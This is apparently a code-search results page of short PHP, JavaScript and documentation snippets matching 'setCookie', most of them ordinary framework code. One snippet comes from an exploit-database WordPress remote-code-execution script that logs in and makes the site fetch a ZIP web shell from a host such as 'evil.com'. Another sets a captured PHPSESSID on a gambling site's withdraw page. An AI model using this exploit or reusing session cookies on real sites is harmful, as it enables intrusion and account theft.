60var url    = 'https://csgopolygon.com/withdraw.php';
                    
60var url    = 'https://csgopolygon.com/withdraw.php';
                    
61j.setCookie(cookie, url);
                    
62
                    
63
                    
64//curl 'http://csgopolygon.com/scripts/_get_bank.php?undefined'
                    
65//-H 'Cookie: PHPSESSID=pb9pv7cr6jkpf8mv305k76lf06; language=en'
                    
68//-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106
                    
69// Safari/537.36'  -H 'Accept: */*'  -H 'Referer: http://csgopolygon.com/withdraw.php'  -H 'X-Requested-With:
                    
70// XMLHttpRequest'  -H 'Connection: keep-alive'  -H 'Cache-Control: max-age=0' --compressed
                    
76    'Accept':           '*/*',
                    
77    'Referer':          'https://csgopolygon.com/withdraw.php',
                    
78    'X-Requested-With': 'XMLHttpRequest',
                    
                
SetCookie.php https://gitlab.com/voj-tech/vtcompose | PHP | 342 lines
                    
1<?php
                    
2
                    
13 */
                    
14final class SetCookie extends Header {
                    
15
                    
104	 * @param string 
                    
105	 * @return SetCookie 
                    
106	 */
                    
109
                    
110		$setCookie = new self($name, $value);
                    
111		$setCookie->setAttributes($domain, $maxAge, $path, $secure);
                    
111		$setCookie->setAttributes($domain, $maxAge, $path, $secure);
                    
112		return $setCookie;
                    
113	}
                    
                
Handler.php https://bitbucket.org/dothessay/fanaka.git | PHP | 163 lines
                    
1<?php
                    
2
                    
99
                    
100        if ($e->getMessage() != 'Call to a member function setCookie() on null' &&
                    
101            $e->getMessage() != "Argument 1 passed to Illuminate\Session\Middleware\StartSession::addCookieToResponse() must be an instance of Symfony\Component\HttpFoundation\Response, instance of Illuminate\View\View given, called in /var/www/html/fanaka/fanaka/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php on line 71"
                    
101            $e->getMessage() != "Argument 1 passed to Illuminate\Session\Middleware\StartSession::addCookieToResponse() must be an instance of Symfony\Component\HttpFoundation\Response, instance of Illuminate\View\View given, called in /var/www/html/fanaka/fanaka/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php on line 71"
                    
102        && $e->getMessage() != "Argument 1 passed to Illuminate\Cookie\Middleware\EncryptCookies::encrypt() must be an instance of Symfony\Component\HttpFoundation\Response, instance of Illuminate\View\View given, called in /var/www/html/fanaka/fanaka/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php on line 66")
                    
103        {
                    
                
response.php https://gitlab.com/waltspence/gtd-pad | PHP | 337 lines
                    
1<?php namespace Laravel;
                    
2
                    
288
                    
289			$this->headers()->setCookie($ref->newInstanceArgs($config));
                    
290		}
                    
                
StartSession.php https://gitlab.com/dzakiafif/cokelatklasik | PHP | 243 lines
                    
1<?php
                    
2
                    
53        // so that the data is ready for an application. Note that the Laravel sessions
                    
54        // do not make use of PHP "native" sessions in any way since they are crappy.
                    
55        if ($this->sessionConfigured()) {
                    
177        if ($this->sessionIsPersistent($config = $this->manager->getSessionConfig())) {
                    
178            $response->headers->setCookie(new Cookie(
                    
179                $session->getName(), $session->getId(), $this->getCookieExpirationDate(),
                    
                
ConfigInterface.php https://gitlab.com/yousafsyed/easternglamor | PHP | 173 lines
                    
1<?php
                    
2/**
                    
86     */
                    
87    public function setCookieLifetime($cookieLifetime);
                    
88
                    
101     */
                    
102    public function setCookiePath($cookiePath);
                    
103
                    
116     */
                    
117    public function setCookieDomain($cookieDomain);
                    
118
                    
131     */
                    
132    public function setCookieSecure($cookieSecure);
                    
133
                    
137     * @return bool
                    
138     * @SuppressWarnings(PHPMD.BooleanGetMethodName)
                    
139     */
                    
                
39895.php https://bitbucket.org/DinoRex99/exploit-database.git | PHP | 152 lines
                    
38    echo "Are you sure you want to do this?\nType 'wololo' to continue: ";
                    
39    $answer = fgets(fopen ("php://stdin","r"));
                    
40    if(trim($answer) != 'wololo'){
                    
52    $data = array('log'=>$options['u'], 'pwd'=>$options['p'], 'redirect_to'=>$options['t'], 'wp-submit'=>'Log In');
                    
53    $curl->post($options['t'].'/wp-login.php', $data);
                    
54    $status =  $curl->getTransferInfo('http_code');
                    
78        $zip_file_name = $remote_file_info['basename'];
                    
79        $zip_file_name_php  = str_replace('.zip', '.php', $zip_file_name);
                    
80        $url = $options['t'].'wp-content/uploads/uncode-fonts/'.$zip_file_name.'/'.$zip_file_name_php;
                    
136       [URL] It must be ZIP file. It gets unzipped into /wp-content/uploads/uncode-fonts/[some.zip]/files folder
                    
137       Example: rce.php -> zip -> rce.zip -> http://evil.com/rce.zip -> /wp-content/uploads/uncode-fonts/rce.zip/rce.php
                    
138
                    
141Examples:
                    
142       php $argv[0] -t http://localhost/wordpress --tor=yes -u customer1 -p password -f http://wp0day.com/res/php/poc.zip
                    
143
                    
                
ApiLogin.php https://gitlab.com/mcepl/dumpathome.git | PHP | 290 lines
                    
1<?php
                    
2/**
                    
88				$user->setOption( 'rememberpassword', 1 );
                    
89				$user->setCookies( $this->getRequest() );
                    
90
                    
282		return array(
                    
283			'api.php?action=login&lgname=user&lgpassword=password'
                    
284		);
                    
                
index.php https://gitlab.com/mlnkv/crud-example | PHP | 81 lines
                    
1<?php
                    
2
                    
16  $message = $_COOKIE["flash_message"];
                    
17  setcookie('flash_message', null, -1);
                    
18}
                    
20# подключаем header
                    
21include 'partials/header.php';
                    
22?>
                    
28      <!-- если есть сообщение, выводим его -->
                    
29      <?php if ($message) { ?>
                    
30        <div class="alert alert-info" role="alert"><?php echo $message ?></div>
                    
30        <div class="alert alert-info" role="alert"><?php echo $message ?></div>
                    
31      <?php } ?>
                    
32    </div>
                    
80<!-- подключаем footer -->
                    
81<?php include 'partials/footer.php' ?>
                    
                
Cookie.php https://gitlab.com/igorbabko/mindk | PHP | 213 lines
                    
1<?php
                    
2/**
                    
2/**
                    
3 * File /framework/cookie/Cookie.php contains Cookie class to easy manipulate with cookies.
                    
4 *
                    
4 *
                    
5 * PHP version 5
                    
6 *
                    
131            foreach ($this->_cookies as $cookieName => $cookieInfo) {
                    
132                $returnValue = setcookie(
                    
133                    $cookieName,
                    
202
                    
203            $returnValue = setcookie($name, '', time() - 3600, $path, $domain);
                    
204
                    
                
ResponseHeaderBag.php https://bitbucket.org/tecsecret/central-tecsecret.git | PHP | 340 lines
                    
1<?php
                    
2
                    
112            foreach ((array) $values as $cookie) {
                    
113                $this->setCookie(Cookie::fromString($cookie));
                    
114            }
                    
173
                    
174    public function setCookie(Cookie $cookie)
                    
175    {
                    
249    {
                    
250        $this->setCookie(new Cookie($name, null, 1, $path, $domain, $secure, $httpOnly));
                    
251    }
                    
                
modifydnsrecordform.php git://pkgs.fedoraproject.org/ipplan | PHP | 156 lines
                    
1<?php
                    
2
                    
23require_once("../ipplanlib.php");
                    
24require_once("/usr/share/php/adodb/adodb.inc.php");
                    
25require_once("../class.dbflib.php");
                    
26require_once("../layout/class.layout");
                    
27require_once("../auth.php");
                    
28require_once("../class.xptlib.php");
                    
36// must set path else Netscape gets confused!
                    
37setcookie("ipplanCustomer","$cust",time() + 10000000, "/");
                    
38
                    
50insert($h, script("", array("type"=>"text/javascript", "src"=>"../cookies.js")));
                    
51insert($h, script("", array("type"=>"text/javascript", "src"=>"../phpserializer.js")));
                    
52insert($h, script("", array("type"=>"text/javascript", "src"=>"../ipplanlib.js")));
                    
70                           "method"=>"post",
                    
71                           "action"=>"modifydnsrecord.php")));
                    
72
                    
                
cookie.rst https://gitlab.com/albertkeba/docs | ReStructuredText | 186 lines
                    
3
                    
4.. php:class:: CookieComponent(ComponentCollection $collection, array $settings = array())
                    
5
                    
5
                    
6Le component Cookie est un conteneur de la méthode native de PHP
                    
7``setcookie``. Il inclut également toutes sortes de fonctionnalités pour
                    
40|                 |              | une chaîne est définie, elle sera interprétée avec   | 
                    
41|                 |              | la fonction PHP strtotime(). Vous pouvez définir cela|
                    
42|                 |              | à l'intérieur de la méthode write().                 |
                    
92
                    
93.. php:method:: write(mixed $key, mixed $value = null, boolean $encrypt = true, mixed $expires = null)
                    
94
                    
185    :title lang=fr: Cookie
                    
186    :keywords lang=fr: array controller,php setcookie,cookie string,controller setup,string domain,default description,string name,session cookie,integers,variables,domain name,null
                    
187
                    
                
halibote-1.html http://jqbird.googlecode.com/svn/trunk/ | HTML | 299 lines
                    
66	{
                    
67		SetCookie('badgoodid',fid,1);
                    
68	}
                    
82            </div>
                    
83            <div id="book_welcome">???? <span><a href="/member/login.php">??</a></span> ? <span><a href="/member/index_do.php?fmdo=user&dopost=regnew">??</a></span>
                    
84            </div>
                    
122   	  <div id="book_main">
                    
123        	<div id="book_index">?????<a href="/book">??</a> > <a href="/book/list.php?id=1">??</a> > ????
                    
124            </div>
                    
174                            	<h2>???admin</h2>
                    
175                           	    <h2>????<script src="/book/countbook.php?view=yes&aid=1" language="javascript"></script></h2>
                    
176                                 <h2>???<a href="/book/list.php?id=1">??</a></h2>
                    
269                                        
                    
270										???:<input type='text' name='validate' size='4' class='ipt-txt' /><img src="/include/vdimgck.php" id="validateimg" style="cursor:pointer" onclick="this.src=this.src+'?'" title="???????" alt="???????" />
                    
271                <input type="checkbox" name="notuser" id="dcmp-submit-guest" /><label for="dcmp-submit-guest" />??? </label>
                    
                
loginUtil.inc.php https://github.com/sfsergey/knowledgetree.git | PHP | 146 lines
                    
1<?php
                    
2/**
                    
102        $cookietest = KTUtil::randomString();
                    
103        setcookie("CookieTestCookie", $cookietest, 0);
                    
104
                    
                
password-protected-login.php https://gitlab.com/kath.de/cibedo_cibedo.de | PHP | 135 lines
                    
4 * Based roughly on wp-login.php @revision 19414
                    
5 * http://core.trac.wordpress.org/browser/trunk/wp-login.php?rev=19414
                    
6 */
                    
58
                    
59<meta http-equiv="Content-Type" content="<?php bloginfo( 'html_type' ); ?>; charset=<?php bloginfo( 'charset' ); ?>" />
                    
60<title><?php echo apply_filters( 'password_protected_wp_title', get_bloginfo( 'name' ) ); ?></title>
                    
76
                    
77<?php
                    
78
                    
99<div id="login">
                    
100	<h1><a href="<?php echo esc_url( apply_filters( 'password_protected_login_headerurl', home_url( '/' ) ) ); ?>" title="<?php echo esc_attr( apply_filters( 'password_protected_login_headertitle', get_bloginfo( 'name' ) ) ); ?>"><?php bloginfo( 'name' ); ?></a></h1>
                    
101
                    
110		<!--
                    
111		<p class="forgetmenot"><label for="rememberme"><input name="rememberme" type="checkbox" id="rememberme" value="forever" tabindex="90"<?php checked( ! empty( $_POST['rememberme'] ) ); ?> /> <?php esc_attr_e( 'Remember Me', 'password-protected' ); ?></label></p>
                    
112		-->
                    
                
ResponseListenerTest.php https://gitlab.com/Marwamimo/Crowdrise_Web | PHP | 85 lines
                    
1<?php
                    
2
                    
19
                    
20class ResponseListenerTest extends \PHPUnit_Framework_TestCase
                    
21{
                    
30        $response = $this->getResponse();
                    
31        $response->headers->expects($this->once())->method('setCookie')->with($cookie);
                    
32
                    
41        $response = $this->getResponse();
                    
42        $response->headers->expects($this->never())->method('setCookie');
                    
43
                    
                
 

Source

Language